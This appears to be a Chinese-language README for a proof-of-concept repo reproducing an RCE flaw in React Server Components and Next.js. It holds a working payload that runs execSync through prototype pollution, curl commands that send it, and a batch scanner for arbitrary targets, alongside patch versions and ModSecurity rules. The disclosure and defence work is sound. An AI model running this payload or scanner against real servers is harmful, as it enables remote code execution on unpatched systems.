CVE-2025-55182 / CVE-2025-66478 漏洞复现环境

这是一个用于复现 React2Shell (CVE-2025-55182) 和 Next.js RSC RCE (CVE-2025-66478) 漏洞的最小 MVP。

⚠️ 警告

此项目仅用于安全研究和教育目的。请勿在生产环境或未授权的系统上使用。

漏洞概述

CVE-2025-55182 是 React Server Components 中的一个严重漏洞，影响：

React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js: ≥14.3.0-canary.77, ≥15, ≥16

攻击者可以通过特制的 multipart/form-data 请求利用 Flight Protocol 的反序列化漏洞，实现远程代码执行（RCE）。

攻击原理

获取 Chunk 引用: 使用 $@N 语法获取内部 Chunk 对象
原型链污染: 通过 $1:__proto__:then 注入恶意 then 方法
触发执行: Server Action 在 await 时调用被污染的 then 方法
构造器劫持: 将 _formData.get 劫持为 Function 构造器
代码执行: 通过 Blob 反序列化执行任意代码

快速开始

1. 安装依赖

npm install
# 或
yarn install
# 或
pnpm install

2. 启动开发服务器

npm run dev

服务器将在 http://localhost:3000 启动。

3. 测试漏洞

使用提供的测试脚本：

# 单个目标测试
./test-exploit.sh http://localhost:3000

# 或直接使用 curl
curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  --data-binary @exploit-payload.txt

如果漏洞存在，你将在响应中看到类似 uid= 的输出（id 命令的执行结果）。

文件结构

.
├── app/
│   ├── actions.ts              # Server Actions（漏洞触发点）
│   ├── page.tsx                # 主页面
│   ├── layout.tsx              # 布局
│   └── globals.css             # 全局样式
├── package.json                # 依赖配置（使用受影响版本）
├── next.config.js              # Next.js 配置
├── test-exploit.sh             # 单个目标漏洞测试脚本
├── scan-targets.sh             # 批量扫描脚本
├── exploit-payload.txt         # Exploit payload 文件
├── Cve-2025-55182-modsecurity-rules.conf      # ModSecurity 防护规则
└── README.md                   # 本文件

测试脚本说明

1. test-exploit.sh - 单个目标测试

测试单个 URL 是否存在漏洞：

chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000

特征：如果响应包含 uid= 或 gid=，说明漏洞存在。

2. scan-targets.sh - 批量扫描

批量扫描多个目标 URL：

# 创建目标列表文件
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF

# 执行批量扫描
chmod +x scan-targets.sh
./scan-targets.sh targets.txt

扫描结果会保存到 vulnerable_hosts.csv。

Payload 结构解析

{
  "then": "$1:__proto__:then",           // 劫持 then 方法
  "status": "resolved_model",             // 控制执行路径
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",      // 触发 Blob 反序列化
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"  // 劫持为 Function
    }
  }
}

关键点：

$@0: 引用第一个 form-data 字段，获取 Chunk 对象
$1:proto:then: 访问 Chunk.prototype.then
_response._prefix: 注入的恶意代码（会被 Function 构造器执行）
$1:constructor:constructor: Object.constructor.constructor = Function

修复方案

方案 1: 升级到已修复的版本（推荐）

React: 19.0.1, 19.1.2, 19.2.1 或更高
Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 或更高

npm install [email protected] [email protected] [email protected]

方案 2: 部署 ModSecurity WAF 规则（临时缓解）

如果无法立即升级，可以部署 ModSecurity 规则临时缓解。

Apache + mod_security

# 1. 安装 mod_security
sudo apt-get install libapache2-mod-security2

# 2. 复制规则文件
sudo cp modsecurity-rules.conf /etc/modsecurity/

# 3. 在 Apache 配置中引入规则
sudo vim /etc/apache2/mods-enabled/security2.conf
# 添加: Include /etc/modsecurity/modsecurity-rules.conf

# 4. 重启 Apache
sudo systemctl restart apache2

Nginx + ModSecurity

# 1. 安装 ModSecurity for Nginx
sudo apt-get install libnginx-mod-security

# 2. 复制规则文件
sudo cp modsecurity-rules.conf /etc/nginx/modsec/

# 3. 在 Nginx 配置中启用
sudo vim /etc/nginx/nginx.conf
# 在 http 或 server 块中添加:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;

# 4. 重启 Nginx
sudo systemctl restart nginx

规则检测特征

ModSecurity 规则会拦截以下特征：

✅ Flight Protocol 特征（$@N, $BN）
✅ 原型链污染（__proto__, constructor:constructor）
✅ 危险的 Node.js 模块调用（process.mainModule.require, require('child_process')）
✅ 命令执行函数（execSync, exec）
✅ 内部对象操作（_response, _chunks, _formData, _prefix）
✅ Server Action 请求头（Next-Action, RSC-Action-ID）

⚠️ 注意: WAF 规则只是临时缓解措施，不能提供完整保护。升级到修复版本是必要的。

安全建议

如果你的应用可能受影响：

立即检测: 使用 test-exploit.sh 脚本测试你的应用
立即升级: 升级到修复版本
轮转密钥: 轮转所有环境变量、API 密钥、数据库密码
审计日志: 检查访问日志，寻找可疑的 Next-Action 请求
部署 WAF: 在升级前部署 ModSecurity 规则作为临时防护

快速测试 curl 命令

如果你想直接使用 curl 测试（不使用脚本）：

curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  --data-binary @exploit-payload.txt

如果返回结果包含 uid= 或 gid=，说明漏洞存在。

参考资料

致谢

Lachlan Davidson - 发现并负责任地报告了该漏洞
Meta Security & React Team
Vercel Team

许可证

本项目仅用于教育目的。使用本代码时请遵守相关法律法规。

CVE-2025-55182-POC

最受欢迎